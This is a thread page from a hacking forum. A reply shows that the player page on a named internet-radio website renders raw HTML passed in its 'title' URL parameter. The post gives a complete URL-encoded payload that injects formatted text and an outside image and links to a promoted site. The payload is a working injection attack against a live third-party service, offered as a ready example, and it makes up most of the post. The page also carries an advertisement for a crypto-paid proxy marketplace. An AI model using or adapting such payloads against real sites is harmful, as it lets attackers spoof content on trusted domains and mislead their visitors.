[INTERNET RADIO] Get parser vulnerable to screen data tampering

🎂 Happy 14th Birthday Sinisterly!

Proxyvizr - The Proxy Marketplace (Residential / Mobile / Datacenter / ISP). 10+ Providers, Instant Auto-delivery, Pay with Crypto.

The stories and information posted here are artistic works of fiction and falsehood. Only a fool would take anything posted here as fact.

[INTERNET RADIO] Get parser vulnerable to screen data tampering
Author Message

hacxx

Posting Freak

Ten Years of Service

Posts: 7,678

Threads: 3,821

Reputation: 71

Currency: 0 SP

RE: [INTERNET RADIO] Get parser vulnerable to screen data tampering 10-17-2018, 04:03 PM #2

You can inject HTML in the title tag

Example

Code:
https://www.internet-radio.com/player/?mount=http://66.70.187.44:9172/listen.pls?sid=1&title=%3Cb%3EPrivateloader%20Radio%20-%20Music%20From%20Within%20The%20Harder%20Styles%3C/b%3E%3Cbr%3E%3Cbr%3E%3Cimg%20src=%27https://i.imgur.com/FVSF2KQ.jpg%27%3E&website=http://www.privateloader.com

Which will give you:
[Image: ZjmUP7c.jpg]

Messages In This Thread

[INTERNET RADIO] Get parser vulnerable to screen data tampering - by hacxx - 10-17-2018, 12:14 PM

RE: [INTERNET RADIO] Get parser vulnerable to screen data tampering - by hacxx - 10-17-2018, 04:03 PM

RE: [INTERNET RADIO] Get parser vulnerable to screen data tampering - by hacxx - 10-17-2018, 04:14 PM

RE: [INTERNET RADIO] Get parser vulnerable to screen data tampering - by casperandersen - 10-17-2018, 05:16 PM

RE: [INTERNET RADIO] Get parser vulnerable to screen data tampering - by Cr3aTor - 10-17-2018, 05:34 PM

Users browsing this thread: 1 Guest(s)